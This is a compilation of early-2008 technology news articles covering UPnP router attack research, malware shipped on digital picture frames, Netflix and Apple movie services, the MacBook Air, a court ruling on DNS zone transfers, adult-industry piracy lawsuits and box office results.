I repeat myself far too much, but I guess I have another opportunity to mention that adding a portforwarding is only one of the many things someone can do to your router. The most malicious of all malicious things is to change the primary DNS server. That will effectively turn the router and the network it controls into a zombie which the attacker can take advantage of whenever they feel like it. It is also possible to reset the admin credentials and create the sort of onion routing network all the bad guys want. We hope that by exposing this information, we will drastically improve the situation for the future. I think that this is a lot better than keeping it for ourselves or risking it all by given the criminals the opportunity to have in possession a secret which no one else is aware of.

GNUCITIZEN is a Cutting Edge, Ethical Hacker Outfit, Information Think Tank, which primarily deals with all aspects of the art of hacking. Our work has been featured in established magazines and information portals, such as Wired, Eweek, The Register, PC Week, IDG, BBC and many others. The members of the GNUCITIZEN group are well known and well established experts in the Information Security, Black Public Relations (PR) Industries and Hacker Circles with widely recognized experience in the government and corporate sectors and the open source community.

GNUCITIZEN is an ethical, white-hat organization that doesn’t hide anything. We strongly believe that knowledge belongs to everyone and we make everything to ensure that our readers have access to the latest cutting-edge research and get alerted of the newest security threats when they come. Our experience shows that the best way of protection is mass information. And we mean that literally!!! It is in the public’s best interest to make our findings accessible to vast majority of people, simply because it is proven that the more people know about a certain problem, the better.

download: Harmless/Useless Proof of Concept - use for demonstration and eduction purposes only

The only way to protect yourself is to turn off UPnP. Yes, that will make your life harder and probably your skype or msn wont work as flawlessly as before but it is a trade-off you have to learn to live with.
http://www.gnucitizen.org/blog/hacking-the-interwebs





Malware Hitches a Ride on Digital Devices
Robert Lemos

It's time to add digital picture frames to the group of consumer products that could carry computer viruses and Trojan horse programs.

In the past month, at least three consumers have reported (http://isc.sans.org/diary.html?storyid=3807) that photo frames - small flat-panel displays for displaying digital images - received over the holidays attempted to install malicious code on their computer systems, according to the Internet Storm Center, a network-threat monitoring group. Each case involved the same product and the same chain of stores, suggesting that the electronic systems were infected at the factory or somewhere during shipping, said Marcus Sachs, who volunteers as the director of the Internet Storm Center.

"When (the first incident) pops up, we thought it might be someone that was infected and blamed it on the digital picture frame," Sachs said. "But this is malware - and malware that does not seem to be very well detected. You could plug in a device and infect yourself with something that you would never know you had."

The incidents underscore that the proliferation of electronic devices with onboard memory means that consumers have to increasingly be aware of the danger of unwanted code hitching a ride. While many consumers are already wary of certain devices, such as digital music players, USB memory sticks and external hard drives, that include onboard memory, other types of electronics have largely escaped scrutiny.

In the past, consumer devices infected with malicious code have generally been the result of manufacturing mishaps. In October 2007, for example, hard-disk drive maker Seagate acknowledged (http://www.seagate.com/www/en-us/sup...rage/ps3200-sw) that a password-stealing Trojan horse program had infected a number of its disk drives shipped from a factory in China after a computer at the manufacturing facility was infected. The Trojan horse would infect systems and attempt to steal the account credentials to Chinese online games as well as the popular World of Warcraft.

In another incident, a Windows computer virus snuck onto the hard drives (http://www.securityfocus.com/brief/332) of a limited number of Apple's iPods during manufacturing in 2006.

Going forward, infections may no longer always be accidental, said Sachs, who is also the executive director of government affairs at telecommunications provider Verizon.

"I think that supply-side attacks are going to go from zero to some small percentage," he said. "It is obviously not going to be as dangerous as mass mailing email infections, but you could have some really clever targeted attacks."

In the latest incidents, three photo frames made by Tuscaloosa, Ala.-based Advanced Design Systems (http://www.ads-products.com/), and bought from different Sam's Club stores, each contained a Trojan horse, according to reports to the SANS Internet Storm Center. The malicious code appears to act like a rootkit, hiding itself and disabling access to antivirus resources.

"It propagates to any connected device by copying a script, a com file and an autorun file," one consumer reported to the ISC. "It hides all systems files and itself while completely eliminating the user admin ability to show hidden files. It creates processes that negate any attempt to go to anti virus and anti spam web sites. It prevents the remote installation of any antivirus components."

Advanced Design Systems did not immediately respond to requests for comment sent by email and left on its voicemail system on Tuesday. A media representative of Wal-Mart, which owns the Sam's Club discount warehouse chain, could not comment on the issue when contacted Monday and did not provide a comment in time for publication.

Keeping malicious code off of consumer products is a serious issue, said Larry Landry, a software expert and digital-picture frame expert at Eastman Kodak. Landry was frank about the chances of any manufacturer eliminating the risk of accidental infection: A company cannot rule out an infection in the factory, but it can make the probability of such an incident very unlikely, he said.

"Kodak works very closely with our suppliers to see that they have the latest version of antivirus software on the manufacturing systems," Landry said. "We also ask that any PCs in the factory are not connected to the Internet."

Kodak is not among the manufacturers whose products were allegedly compromised by the Trojan horse program.

Following the report of an infected digital photo frame on Christmas Day, the Internet Storm Center called for more information and turned a single incident into a steady drip, if not a flood, of anecdotes from consumers. Other devices that reportedly came with a viral hitchhikers (http://isc.sans.org/diary.html?date=2008-01-07) included hard drives, MP3 players and music-playing sunglasses.

While a compromise at the manufacturer is the most likely scenario, ISC's Sachs also pointed to retailers as a possible point of infection. Returned products, which could have been infected by the consumer, are frequently put back on the shelf, if they are in sale-able condition, and attackers could take advantage of a store's poor digital hygiene, he said.

"Trying to (infect a product) all the way back at the factory - getting it through all the checks and balances -- would be pretty hard to do," he said. "But doing it at the store, where there might be loose return policies, and (where) they put it back on the shelf - you are not going to get a million infections, but you might get a person from an investment bank next door."

Yet, among the major threats to consumers' PCs and data, infection by a consumer product is a relatively minor one, said Mikko Hyppönen, chief research officer for antivirus firm F-Secure, adding: "It'll happen."

Consumers will have to be careful with any device that can be connected to a PC, including USB thumb drives, GPS devices, mobile phones, video players, set top boxes, portable hard drives, memory card readers, and eventually even microwave ovens and other appliances, he said.

Wal-Mart, the owner of Sam's Club, told the ISC that its security team had randomly checked several dozen picture frames and did not find additional infections, Sachs said. A representative of Wal-Mart reached by SecurityFocus could not immediately comment on the issue.

This article originally appeared in Security Focus (http://www.securityfocus.com/news/11499).
http://www.theregister.co.uk/2008/01...gital_devices/





Netflix Expands Internet Viewing Option
Michael Liedtke

Girding for a potential threat from Apple Inc., online DVD rental service Netflix Inc. is lifting its limits on how long most subscribers can watch movies and television shows over high-speed Internet connections.

The Associated Press has learned the change will become effective Monday, on the eve of Apple's widely anticipated move into the movie rental industry. Although Apple hasn't confirmed anything yet, Chief Executive Steve Jobs is expected to make it official during a presentation Tuesday in San Francisco.

Netflix is gearing up for the increased competition by expanding a year-old feature that streams movies over the Internet instead of making customers wait for their online rental requests to be delivered through the mail.

Until now, Netflix restricted how long its more than 7 million subscribers could use the streaming service each month, based on how much they pay to rent DVDs.

For instance, under a popular plan that charges $16.99 per month to rent up to three DVDs at a time, Netflix customers could watch as many as 17 hours of entertainment each month on the streaming service, dubbed "Watch Instantly."

With Monday's change, virtually all Netflix subscribers will be able to stream as many movies and TV shows as they want from a library containing more than 6,000 titles. There will be no additional charge for the unlimited access.

Only the small portion of Netflix customers who pay $4.99 to rent up to two DVDs per month won't be provided unlimited access to the streaming service.

The unlimited streaming option figures to become more enticing later this year when LG Electronics Inc. will begin selling a set-top box that will deliver the content to TVs.

Removing the time constraints on its streamed entertainment could give Netflix an advantage over Apple's movie rental service. Apple will charge $3.99 for movies that can be downloaded and played for up to 24 hours, according to media reports citing people familiar with the company's rental plans.

Letting subscribers stream as much as they want could erode Netflix's profits because the Los Gatos-based company isn't raising its monthly rates even though its expenses may rise if increased usage drives up the licensing fees owed to studios.

Providing unlimited streaming access "fits within the parameters of our overall financial goals," Netflix spokesman Steve Swasey said. The impact of the change will likely be addressed when Netflix discusses its fourth-quarter earnings in a call scheduled for Jan. 23. The company had earned $51 million on revenue of $903 million through the first nine months of 2007.

With more than 90,000 titles available in its DVD library, delivering movies through the mail is expected to remain Netflix's primary moneymaker for years to come.

Nevertheless, Netflix has spent about $40 million on the development of its streaming service during the past year.

The service still doesn't appeal to many Netflix subscribers because it requires watching the entertainment on a personal computer with a high-speed Internet connection.

Netflix hasn't specified how much content has been streamed since last summer, when management disclosed that more than 10 million movies and TV episodes had been watched through the service. The company says its streaming service has gained the most traction among younger subscribers more accustomed to watching movies on laptops.

Apple's rental service is expected to offer its customers more flexibility, allowing movies to be viewed on the Cupertino-based company's ubiquitous iPod and iPhone, as well as on computers.

Still, most people seem to prefer watching movies on their big-screen TVs — an issue both Apple and Netflix are trying to address.

Apple last year began selling a $299 device designed to transport video from computers to TVs. LG Electronics hasn't disclosed the price of its Netflix box, which is expected to debut in late summer or early fall.
http://ap.google.com/article/ALeqM5h...DlwwwD8U55DF00





Jobs Returns to His Mac Roots With a Thin, Ultralight Laptop
John Markoff

Steven P. Jobs, Apple’s chief executive, took several big gambles Tuesday, betting that he could repeat his success in selling digital music by persuading Hollywood to allow Apple to rent digital movies, while at the same time returning to his original Macintosh roots with an elegant — but limited — ultralight computer called the MacBook Air.

Mr. Jobs has made his keynote presentation at the opening of the Macworld Expo trade show here a consistent marketing tour de force in recent years. And although Mr. Jobs did not return to the heights of media frenzy that he reached with the introduction of the iPhone a year ago, his presentation on Tuesday trod familiar, and popular, ground.

While introducing products and services from Apple’s best-known areas, Mr. Jobs concentrated on the movie rental service and the new notebook computer.

The terms of the service are similar to those offered by other companies. In an interview after the speech, Mr. Jobs insisted that Apple was the first distributor to persuade all of the major studios to join in its rental strategy. But the risk for Apple is that consumers may not like the limits placed on their movie viewing.

For the iTunes movie rentals, consumers will have 30 days to begin watching, then 24 hours to finish the movie before it is erased from the hard disk. Mr. Jobs said that after extended negotiations both sides felt this was an obvious strategy.

The movie studios, he said, knew it was time: “We talked to them and talked to them and finally a bit flipped. They know the rental model; we came to the conclusion it was the right model. It took months and it took a lot of discussions, but it wasn’t really that difficult once the bit flipped.”

In that interview, Mr. Jobs took pride in demonstrating the MacBook Air, a three-pound notebook computer that will sell at a base price of $1,799. Mr. Jobs said that in order to reach his goal of making the industry’s thinnest computer, Apple’s designers made a series of trade-offs that the majority of laptop buyers may not appreciate.

The computer uses a 1.8-inch disk drive, on which no more than 80 gigabytes of data can be stored. Memory is limited to a standard two gigabytes of RAM and its processor is slower than those of Apple’s other laptops. The design team jettisoned an optical disk storage device for playing DVDs. Mr. Jobs demonstrated a feature called Remote Disk that will make it possible to play the contents of a DVD via a wireless network from another Macintosh or Windows PC. Also, the MacBook Air’s battery is not removable.
Responding to a question about the growing array of media, including digital photographs, movies and music, that now swell most users’ hard drives, Mr. Jobs said, “Maybe this isn’t the computer for you.”

In the interview, Mr. Jobs chastised the recording industry for its efforts to handicap Apple and iTunes by offering digital music without digital rights management copy protection through competitors like Amazon.

“They’re trying to create a competitor to iTunes by denying us D.R.M.-free music,” he said. He noted, however, that because one major label, EMI, and independent music producers are selling D.R.M.-free music through Apple, iTunes customers now have access to what he said was about 35 percent of the market without copy protection.

“It’s been frustrating us a little,” he acknowledged. “The music industry and iTunes need to find a way to work together because we’re the best vehicle they have.”

During his presentation, Mr. Jobs also demonstrated the first major software upgrade for the iPhone. He surprised analysts by reporting that Apple sold four million iPhones during their first six months on the market, a number significantly above most market research firms’ projections.

He demonstrated a handful of features that have been added to the phone, including a navigation feature that allows the phone to find the user’s rough location on a map by using network databases that record the location of cellphone towers and Wi-Fi hot spots.

Apple shares slipped, losing $9.74, or 5.5 percent, to close at $169.04. In after-hours trading, shares fell another 3.6 percent.
http://www.nytimes.com/2008/01/16/te...y/16apple.html





Internap's Content Delivery Network Powers Online Broadcast of 2008 Sundance Film Festival

-- Long Time Customer Entrusts Internap to Deliver High-Quality Video Streaming for Seventh Consecutive Year --
Press release

Internap Network Services Corporation, a global provider of end-to-end Internet business solutions, today announced that for the seventh year in a row it has been selected as the Official Provider of online video streaming services for the 2008 Sundance Film Festival. Key criteria in this selection were Internap's high-performance content delivery network (CDN) with full support for Adobe Flash, network optimization technology, global infrastructure and management systems.

The Sundance Film Festival's official Web site, http://www.sundance.org/festival/, will enable motion picture enthusiasts worldwide to experience the latest in independent short films, exclusive filmmaker interviews and daily video highlights from the annual Festival. The 2008 Sundance Film Festival runs January 17-27, in Park City, Salt Lake City, Ogden and Sundance, Utah.

"Live events like the Sundance Film Festival are now attracting more online audiences than ever before, requiring fast, high-quality streaming services for optimal screening," said Joseph Beyer, producer of the Sundance Film Festival Online. "Internap's leadership with Adobe Flash, behind-the-scenes management services and guaranteed delivery of on-demand content to our global audience makes Internap a fantastic technology partner. With Internap's help, we've been able to provide our audiences and filmmakers with reliable, richer viewing experiences than ever before."

"Adobe is committed to supporting the innovation and vision of independent filmmakers," said Bill Rusitzky, director of media alliances for Adobe. "We are pleased that Internap's content delivery network with Adobe Flash technology was selected as the exclusive Sundance streaming provider, providing movie enthusiasts an immersive viewing experience for watching high-quality, exclusive online filmmaker interviews, short films and daily video highlights from the events."

"Our content delivery network has been streaming the Sundance Festival for years, a key endorsement of the quality and value of Internap's services," said James P. DeBlasio, chief executive officer at Internap. "We continue to enhance our CDN service with a new 100% performance commitment, embedded route-optimization, an expansion into Asia, and peer-to-peer (P2P) access. The result is we are bringing new levels of reliability to the network delivery of rich media content."

Online businesses across the globe entrust their business systems and Web sites to Internap's Performance IP solution, data center colocation and content delivery network. The company has over 3,500 enterprise customers including Fortune 500 corporations, movie studios, broadcasters, music companies and advertising agencies. For more information, please visit www.internap.com.
http://www.centredaily.com/business/...ry/332762.html





Google Sees Surge in iPhone Traffic
Miguel Helft

Of all the iPhone’s features, none had reviewers gushing more than its Internet browser. It was the first cellphone browser that promised something resembling the experience of surfing the Internet on a PC. Santa helped deliver on that promise.

On Christmas, traffic to Google from iPhones surged, surpassing incoming traffic from any other type of mobile device, according to internal Google data made available to The New York Times. A few days later, iPhone traffic to Google fell below that of devices powered by the Nokia-backed Symbian operating system but remained higher than traffic from any other type of cellphone.

The data is striking because the iPhone, an Apple product, accounts for just 2 percent of smartphones worldwide, according to IDC, a market research firm. Phones powered by Symbian make up 63 percent of the worldwide smartphone market, while those powered by Microsoft’s Windows Mobile have 11 percent and those running the BlackBerry system have 10 percent.

The iPhone has taken the frustration out of browsing on a mobile phone, said Charles Wolf, an analyst with Needham & Company.

Other companies confirmed the trends, if not the specific data, observed by Google. Yahoo, for instance, said iPhones accounted for a disproportionate amount of its mobile traffic. And AdMob, a firm that shows billions of ads on mobile Web sites every month, said it saw traffic from iPhones surge drastically around Christmas.

“Consumers are going to demand Internet browsers” as good as Apple’s, said Vic Gundotra, a Google vice president who oversees mobile products.

Mr. Gundotra said Web browsers as capable as the iPhone’s could also prove a boon for developers of mobile software, who have long struggled to adapt their programs to different types of phones. As it does on the PC, he said, the browser could provide a more homogeneous “layer” for programmers.

“The reason no one considered this seriously is that the Web layer on mobile devices was terrible,” he said. Google has taken advantage of the capabilities of the iPhone browser to create a product, internally called Grand Prix, that it says provides easy access to many of the company’s services, including search, Gmail, Reader and Picasa.

Google, which developed the first version of Grand Prix in six weeks, is introducing a new version on Monday, just six weeks after the first one. That is a speed of development not previously possible on mobile phones, he said.

John Markoff contributed reporting from San Francisco.
http://www.nytimes.com/2008/01/14/te...y/14apple.html





Court Blocks NASA Background Checks

Appeals panel says probes threaten rights at Jet Propulsion Laboratory
Linda Deutsch

A federal appeals court ruled Friday that NASA should be blocked from conducting background checks on low-risk employees at its Jet Propulsion Laboratory, saying the practice threatens workers’ constitutional rights.

The 9th U.S. Circuit Court of Appeals said the 28 scientists and engineers who refused to submit to the background checks “face a stark choice — either violation of their constitutional rights or loss of their jobs.”

The decision written by Judge Kim Wardlaw reversed a ruling by U.S. District Judge Otis Wright and sent the case back to him with orders to issue an injunction on the workers’ behalf.

The workers sued the federal government, claiming that NASA was invading their privacy by requiring the investigations, which included probes into medical records and questioning of friends about everything from their finances to their sex lives.

If they didn’t agree to the checks, they could be fired.

NASA has argued that requiring employees to submit to the investigations was not intrusive and that the directive followed a Bush administration policy applying to millions of civil servants and contractors.

Every government agency was ordered to step up security by issuing new identification badges. Employees were required to be fingerprinted, undergo background checks and allow federal investigators access to personal information.

The plaintiffs have worked for many years at the labs that are jointly run by NASA and the California Institute of Technology. JPL is known for its scientific explorations of space and study of Earth.

None of the plaintiffs work on top-secret projects at JPL, which employs about 5,000 workers, but several are involved in high-profile projects such as the Cassini mission to Saturn.

“We’re ecstatic,” workers’ attorney Dan Stormer said. “This represents a vindication of constitutional protections that all of us are entitled to. It prevents the government from conducting needless searches into backgrounds.”

If the workers were forced to quit rather than submit to invasive questions, it would hurt the space effort, affecting the Mars rover missions and other programs, Stormer said.

The higher court said Wright abused his discretion and committed several errors when he ruled that there was no merit to the claim that the scientists would suffer irreparable harm by signing the authorization forms.

It said that the lower court was wrong to conclude that the form which employees were asked to sign was “narrowly tailored.”

“This form seeks highly personal information using an open-ended technique including asking for ’any adverse information which ... may have a bearing on this person’s suitability for government employment,”’ Wardlaw wrote. “There is nothing ’narrowly tailored’ about such a broad inquisition.”

The decision appeared to reverse a ruling by Wright late Thursday dismissing Caltech as a defendant in the lawsuit. The 9th Circuit said any injunction must also apply to Caltech.

It said the case “raises serious questions as to whether the university has in fact now become a willful and joint participant in NASA’s investigation program, even though it was not so initially.”

Veronica McGregor, a spokeswoman for Caltech and JPL, would not comment because the litigation was ongoing.
http://www.msnbc.msn.com/id/22612527/





North Dakota Judge Gets it Wrong
Al Iverson

...WAY wrong. This is just mind blowing.

Ever been prosecuted for tracking spam? Running a traceroute? Doing a zone transfer? Asking a public internet server for public information that it is configured to provide upon demand?

No? Well, David Ritz has. And amazingly, he lost the case.

Here are just a few of the gems that the court has the audacity to call ”conclusions of law.” Read them while you go donate to David’s legal defense fund. He got screwed here, folks, and needs your help.

“Ritz’s behavior in conducting a zone transfer was unauthorized within the meaning of the North Dakota Computer Crime Law.” You might not know what a zone transfer is, but I do. It’s asking a DNS server for all the particular public info it provides about a given domain. This is a common task performed by system administrators for many purposes. The judge is saying that DNS zone transfers are now illegal in North Dakota.

“The Court rejects the test for “authorization” articulated by defendant’s expert, Lawrence Baldwin. To find all access “authorized” which is successful would essentially turn the computer crime laws of this country upside down.” That’s untrue. The judge is trying to hang David out to dry, even when provided evidence of what actually constitutes hacking or cracking. Accessing a server on the public internet that is set up to provide that public info is not a crime, and saying that it is not a crime doesn’t suddenly damage computer crime law. The judge just amended the definition of “unauthorized” to include public internet servers that were expressly configured to provide info to anybody who asks for that info.

“Ritz has engaged in a variety of activities without authorization on the Internet. Those activities include port scanning, hijacking computers, and the compilation and publication of Whois lookups without authorization from Network Solutions.” I’m not touching the “hijacking computers” statement—who knows what the judge means, and I don’t think it’s wise to assume that the judge’s definition matches the common one. But what really jumps out here is this: Publication of WHOIS information. You know, business records. Who owns a domain. Public information. The judge has arbitrarily decided that it is illegal to take information from WHOIS data—necessary information when compiling a report on a company or activity, to make sure you’re talking about the right person—and put it in a spam report or on a website.

Mickey Chandler calls the court documents in this case “12 pages of bad law,” and I couldn’t agree more.
http://www.circleid.com/posts/811611...tz_court_spam/





Porn Companies Challenged by Internet Sites
Adam Tanner

After years of booming sales supported by videotapes, DVDs and the Internet, the adult film industry is being challenged by easy video-sharing Web sites offering explicit content for free.

"We're dealing with rampant piracy, tons of free content," said Steven Hirsch, co-founder of privately held Vivid, the best-known studio making sex films.

Vivid once earned 80 percent of its roughly $100 million a year from DVD sales, but last year that fell to 30 percent, Hirsch said in an interview.

The Internet challenge, a topic of discussion at the biggest adult film expo of the year in Las Vegas this week, has already presented itself to the music industry and other mainstream entertainment.

Much of the Internet competition for the U.S. porn world, largely based in southern California, comes from Web sites like Toronto, Canada-based XTube.com, whose format is modeled after Google's YouTube.

Some of the videos on the XTube site come from commercial studios while others are posted by amateurs.

"We're not pirates. We are providing a service that people think they can use to pirate," said Lance Cassidy, one of XTube's founders.

The Web site has 200,000 free videos, typically 30 seconds to two minutes long, and about 1 percent of visitors buy DVDs or video streams, resulting in millions of dollars of annual revenue, sales director Curtis Potec said. About two thirds of XTube's viewers are gay, Potec said.

"We've had tons and tons of people tell us this is the future of the adult industry," Potec said. "Most of the money is ads, on any site, mainstream or adult."

Scott Coffman, president of Adult Entertainment Broadcast Network (AEBN) in North Carolina, says his company started a YouTube-type site a year-and-a-half ago to generate revenue through advertising and drive traffic to pay-per-minute sites.

AEBN limits free clips to three minutes. Users make about a quarter of them.

"They don't convert that well when you give away so much. There is a fine line between giving away something small, a teaser ... and giving away the whole thing," Coffman said.

He said his company has revenue of about $100 million a year and is facing a lawsuit from Vivid accusing AEBN of piracy.

Vivid's Hirsch says he will sue other video-sharing sites.

"This industry is going to have to get together and look at these guys that are putting out the stuff for free ... so they are going to have to get in line and start paying for it," Hirsch said.

"If that doesn't happen and we see all of this free content out there, people are not going to be able to afford to produce movies anymore."

Aided By The Porn Studios

Videotape, fewer prosecutions, DVDs and Internet advertising created an unprecedented boom the U.S. sex film business since the 1980s.

Many studios post short clips on Internet video-sharing sites as advertising to sell more movies.

"This is something we constantly discuss in our office. Is it too much," said Garion Hall, chief executive of Abbywinters.com, an Australian company featuring lesbians.

Hall said only one out of 500 viewers clicks over to his site from free clips and of those only one in 50 subscribes.

Some adult industry executives say a solution may lie in future distribution deals with big companies such as AT&T Inc, Verizon Communications Inc, Comcast Corp and Apple Inc.

An Apple spokeswoman said the company would not comment if it had held past talks or was interested in distributing adult product. A spokeswoman for Comcast, the largest U.S. cable provider, said the firm offered adult content in its video-on-demand service but said she knew of no talks for mobile adult distribution.

Sales of sex films to mobile devices occur in Europe but have yet to take off in the United States.

"We won't make money through adult content," said Verizon Wireless spokesman Ken Muche.

AT&T did not comment.

Jay Grdina, president of ClubJenna Inc, a division of Playboy, says sharing previews is a mistake. "We're getting bitten by our own sword," he said.

Grdina, former husband and on-scene partner of Jenna Jameson, one of the industry's most famous porn stars, said he has met companies such as Microsoft and Apple to seek wireless and other distribution deals that could allow easy downloads to devices such as iPods.

A spokesman for Microsoft said they were not in talks to distribute adult content.

"The revenues are massive," Grdina said. But "the biggest fear is share price: what are the shareholders going to say?"
http://www.reuters.com/article/busin...43557520080111





Same Complaints, Sexier Tube in One Vivid Copyright Case
Matthew Belloni

What does Sumner Redstone have in common with Steve Hirsch, founder and president of the world's largest producer of hardcore sex videos? More than the Viacom honcho might think.

Hirsch's Vivid Entertainment, the biggest name in the $12 billion-a-year adult video industry, filed a familiar-sounding lawsuit last month against PornoTube, one of a handful of popular video-sharing sites styled as the dirtier, sexier, money-shot cousins of YouTube, Redstone's legal nemesis. Similar to the Google-owned video juggernaut, PornoTube has become a destination for free porn by letting anyone post sex videos without filtering out clips that might be copyrighted.

"In other words," the lawsuit reads, PornoTube "deliberately and knowingly built a library of infringing works ... enabling them to gain an enormous share of Internet traffic, increase its businesses and earn vast amounts of revenue in the process."

Viacom's words, almost exactly, in its $1 billion claim against YouTube, filed last March and just entering the discovery phase in New York. At issue in both cases is whether video-sharing sites are shielded by the Digital Millennium Copyright Act if they take down videos when asked and don't profit "directly" from the infringements. (Vivid also claims PornoTube violates a strict child-pornography law by not verifying the ages of the participants in videos posted on its site, though recently an appeals court ruled against that law on free speech grounds.)

The copyright issue is unsettled, but the plaintiffs are piling up. Vivid joins Titan Media, a gay erotica publisher that sued the Michael Eisner-backed Veoh, as well as Viacom and the members of a class action also pending against YouTube in New York.

Hirsch says that PornoTube doesn't do enough to keep his content off its site, and, like YouTube, it has leveraged the traffic it delivers into marketing deals with other sex video producers. It has left Hirsch's company, a leader in an industry that has pioneered new technologies like the VCR and VOD much more than its Hollywood equivalents, with little choice but to sue the pants off the user-generated sites.

"How do we survive?" Hirsch asks. "As DVD sales decrease, we need to look to other revenue streams."

Domestic DVD spending for mainstream fare was off 3.6% in 2007, but Hirsch told Portfolio magazine recently that Vivid's DVD sales are down 50% since 2004. VOD is the future, he says, but he can't compete with free. North Carolina-based PornoTube isn't talking about the lawsuit. But its defenders argue that most of the porn on the sharing sites is created and distributed by amateurs. And the copyrighted stuff probably serves as valuable promotion for Vivid. Hirsch disputes those arguments.

"Two or three minutes -- that's all you need," Hirsch says. "After watching two or three minutes of hardcore sex, you're not going to go and buy the full movie. And if you look on these sites, an overwhelming amount of content is copyrighted." Hirsch likens the porn industry's perilous situation to the music business' similar reliance on consumers paying for collections of product (albums) that can be enjoyed in bits and pieces -- and often for free on the Internet. Album sales were down another 15% in 2007, the seventh consecutive year of decline.

Hirsch says that he and his legal team, led by Paul Cambria in Buffalo, N.Y., are gearing up for a long fight. They could probably call Viacom's lawyers for some tips.
http://www.hollywoodreporter.com/hr/...d7b721515c56fa





No Hole in this Boxoffice 'Bucket'
Carl DiOrio

The old boys can still bring it on.

Warner Bros.' Jack Nicholson-Morgan Freeman starrer "The Bucket List" finished at the top of the domestic boxoffice heap in its first weekend in wide release, grossing an estimated $19.5 million.

An offbeat comedy involving the tale of two terminally ill patients, "Bucket" beat back a tough challenge from Sony Screen Gems' urban comedy "First Sunday," with the Ice Cube starrer bowing in second place with $19 million. Fox Searchlight's "Juno," another quirky but more youth-oriented comedy, finished third with $14 million shaping a $71.3 million cume.

"Bucket" led a brigade of four Warners pics in the weekend top 10.

The studio's Will Smith starrer "I Am Legend" rung up another $8.1 million in sixth place to move its five-week cume to $240.2 million, while its "One Missed Call" horror pic placed seventh with a 51% drop in its second frame yielding $6.1 million and a $20.6 million cume. And Warners' Hilary Swank-Gerard Butler romance "P.S. I Love You" grossed $5 million in eighth place for a four-week cume of $47 million.

Another wide opener this weekend -- Universal's "The Pirates Who Don't Do Anything: A VeggieTales Movie," an animated feature from Big Idea Prods. -- found $4.4 million in boxoffice booty to capture ninth place. But Freestyle's medieval Jason Statham starrer "In the Name of the King: A Dungeon Siege Tale" fetched just $3.3 million to bow well outside of the weekend top 10.

Industrywide, the weekend marked a 1% uptick over the same frame last year with $129 million in collective grosses, according to Nielsen EDI data. But in a year-to-date comparison, 2008 is off 7% from the same portion of 2007.

Elsewhere this weekend, Focus/Working Title's "Atonement" added 367 playdates for a total of 950 and grossed $4.3 million in 10th place. That stretched the cume for the Keira Knightley-James McAvoy starrer to $25.2 million, with the weekend's $4,526 per-theater average representing sturdy foundation for coming frames.

Picturehouse broadened its Spanish-language horror film "The Orphanage" by 641 engagements for a total of 707, grossing $2 million, or $2,891 per playdate with a $3.2 million cume. Citing good strength in key theaters, Picturehouse topper Bob Berney said "Orphanage" will adopt another 100 venues on Friday.

The Miramax-distributed thriller "No Country for Old Men" grossed another $1.3 million to bring its cume to $46.8 million. The Miramax-Paramount Vantage co-production now ranks as the Coen brothers' highest-grossing film, surpassing 2000's "O Brother, Where Art Thou?," which rung up $45.5 million domestically.

The Paramount Vantage-distributed "There Will Be Blood," a co-production with Miramax, added 78 theaters for a total of 129 and grossed $1.9 million. The Daniel Day-Lewis starrer saw an impressive $15,039 per venue and moved its cume to $4.4 million.

Par Vantage's "The Kite Runner," a co-production with DreamWorks, added 335 locations for a total of 715 and grossed $1.7 million, or a wispy $2,337 per site, with an $11 million cume.

Miramax's drama "The Diving Bell and the Butterfly" added 18 playdates this weekend for a total of 75, grossing $375,000. That represented a solid $5,000 per engagement and moved the cume to almost $2 million.

Sony Pictures Classics' Iran-themed animated feature "Persepolis" added nine theaters for a total of 18 and grossed $194,878, or a notable $10,827 per venue with a $548,229 cume.

ThinkFilm unspooled its "Nanking," a documentary about war atrocities, in two San Francisco theaters and one in Los Angeles, grossing $18,660, or a solid $6,220 per venue. Those engagements follow earlier Academy-qualifying runs in New York, with "Nanking" now packing a $44,774 cume.

ThinkFilm's Sidney Lumet-helmed "Before the Devil Knows You're Dead" added three playdates for a total of 95 and grossed $95,231, or a wobbly $1,002 per engagement, with a $6.8 million cum.

Produced for an estimated $42 million, "Bucket" drew audiences comprised 75% of patrons 35 and older, with females representing 58% of patrons.

The weekend performance represented helmer Rob Reiner's best for a first session in wide release, beating the $15.5 million bow for his "A Few Good Men" in 1992.

"It outperformed all expectations," Warners distribution president Dan Fellman said.

Some 95% of exit-poll respondents rated the picture "excellent" or "very good," Fellman said.

The "Bucket" cume reached almost $21 million after two prior sessions in limited release.

Toting an estimated budget of just $20 million, "Sunday" saw solid support from black audiences over its opening frame, but Sony execs expect continued crossover into broader audiences in coming frames. Some 54% of "Sunday" patrons were females.

"It;'s a film that really did play to everyone and is going to be around for a while," Sony distribution president Rory Bruer said.

"Juno" Monday is expected to become Searchlight's highest-grossing release, outdistancing 2004's "Sideways," which fetched $71.5 million domestically. But the high-profile, modestly budgeted pic is nowhere near played out just yet, execs stressed.

"I now feel highly confident it will surpass $100 million," Searchlight distribution president Steve Gilula said.

"Pirates" drew almost exclusively family patrons with young kids in tow, with execs satisfied with the pic's opening grosses.

"It's a family title that will work very well in home video," Uni distribution president Nikki Rocco said.

Freestyle execs said they were disappointed with the soft bow for "Name of the King." But despite its thin per-theater average of $2,002, they indicated cautious optimism the Uwe Boll-helmed pic could find solid footing in weeks ahead.

Looking ahead to the pre-Martin Luther King Jr. weekend, DreamWorks/Paramount plans to add a few hundred playdates for its musical "Sweeney Todd." The Johnny Depp starrer totes a $44.1 million cume after grossing $3.4 million from 1,323 engagements this weekend.

The frame's highest-profile wide opener will be Fox's "27 Dresses," a potential date-night romantic comedy starring Katherine Heigl and James Marsden that the distrib offered in sneak previews Dec. 27 and again on Sunday. Also bowing wide will be Paramount's "Cloverfield," a sci-fi monster pic sure to see youth-dominated audiences, and Overture's first-ever release "Mad Money," a female-skewing laugher.

Features tend to enjoy better-than-usual grosses in advance of the MLK holiday the next day, when many schools and offices are closed.
http://www.hollywoodreporter.com/hr/...00c5b715326992





Monster Thriller "Cloverfield" Crushes Box Office

The low-budget monster movie "Cloverfield" destroyed the competition, including fellow rookie "27 Dresses," during its first day of release in North American theaters, according to preliminary sales estimates issued on Saturday.

"Cloverfield" earned $16.75 million on Friday, while the romantic comedy "27 Dresses" opened to $7.7 million, said their respective distributors, Paramount Pictures and 20th Century Fox.

Industry observers had expected a tight race between the films, with male youngsters rushing to see New York get wiped out in "Cloverfield" and women lining up to follow Katherine Heigl's romantic travails in "27 Dresses."

Paramount had tried to downplay expectations for "Cloverfield" by sending out word earlier in the week that "27 Dresses" would likely open slightly higher.

